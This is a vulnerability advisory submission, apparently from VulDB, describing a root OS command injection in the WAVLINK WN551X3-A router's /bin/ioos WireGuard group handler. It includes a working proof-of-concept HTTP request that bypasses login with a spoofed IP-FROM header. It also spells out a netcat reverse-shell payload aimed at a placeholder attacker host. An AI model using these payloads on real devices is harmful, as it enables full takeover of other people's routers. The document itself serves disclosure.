Submit #919551: Wavlink Router Firmware V251020-WO Command Injectioninfo

TitleWavlink Router Firmware V251020-WO Command Injection
DescriptionAn OS command injection vulnerability (CWE-78) was identified in the WAVLINK WN551X3-A (AX3000) router, firmware M51X3_V251020-WO-182e965 (OpenWrt-based, ARM aarch64/musl). The web management interface is a lighttpd front-end (ports 80/443) that proxies dynamic *.csp requests to a back-end service, /bin/ioos, listening on 127.0.0.1:81 and running as root. ioos dispatches requests based on the "opt" parameter via a {name,handler} table. The handler for fname=sys & opt=wireguard_cli_group (function sub_4195b4, file /bin/ioos) takes the user-controlled "group_name" request parameter and passes it to system() via snprintf without any input validation or sanitisation: snprintf(buf, 0x4000, "uci set wgclient.@groups[-1].group_name='%s'", group_name); // 0x419a54 system(buf); // 0x419a68 Because the user input is embedded inside single quotes, a group_name value such as a';id>/tmp/p; breaks out of the quoted string (a';CMD;') and injects an arbitrary OS command, which executes with root privileges and leads to full compromise of the device. This is the sibling of the openvpn_cli_group injection (sub_416760, "uci set ovpnclient.@groups[-1].group_name='%s'") - both handlers share the identical "paste user input into a single-quoted uci set" pattern and are exploitable in the same way. Exploitation requires reaching ioos and passing its login check. Two vectors: (a) the dispatcher (cgi_protocol_handler) trusts the IP-FROM request header and sets the login flag to 1 whenever IP-FROM equals "127.0.0.1", with NO token required - exploitable from loopback or any SSRF that can reach 127.0.0.1:81 (this vector was VERIFIED on this firmware, command executed as uid=0); (b) through the lighttpd front door with a valid token (default web password is "admin"; note: the first_login empty-password path confirmed on the sibling WN536AX6 was NOT reproducible on THIS firmware's login endpoint in the emulator, returns 10001/10002). ioos' parser quirks: spaces as %20, IP-FROM header must precede Content-Type. Proof of concept (loopback/SSRF vector a - VERIFIED on this firmware): POST /index.csp?token=x HTTP/1.1 Host: 127.0.0.1:81 IP-FROM: 127.0.0.1 Content-Type: application/x-www-form-urlencoded fname=sys&opt=wireguard_cli_group&function=set&action=add&group_id=5&group_name=a%27%3Bid%3E/tmp/p%3B%27 Response: { "success": 1, "error": 0 } The file /tmp/p on the device then contains: uid=0(root) gid=0(root) groups=0(root) A root reverse shell is obtained by sending group_name = a';setsid sh -c "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc <attacker-ip> <port>>/tmp/f" </dev/null >/dev/null 2>&1 ;' (busybox nc has no -e, so the mkfifo pipe trick is used). The vulnerability was dynamically verified against the firmware emulated with qemu-aarch64 user-mode emulation; arbitrary commands were executed with root privileges (uid=0) through the loopback-bypass vector (the empty-password front-door login was NOT reproduced on this firmware) on the wireguard_cli_group handler. A ready-to-run Python EXP is published alongside the advisory (use --opt wireguard_cli_group).
User
 shuyi (UID 100431)
Submission08/09/2026 07:21 (3 months ago)
Moderation11/01/2026 16:49 (3 months later)
StatusAccepted
VulDB entry429669 [WAVLINK WN551X3-A M51X3_V251020-WO-182e965 WireGuard CLI Group /bin/ioos system group_name os command injection]
Points20

Interested in the pricing of exploits?

See the underground prices here!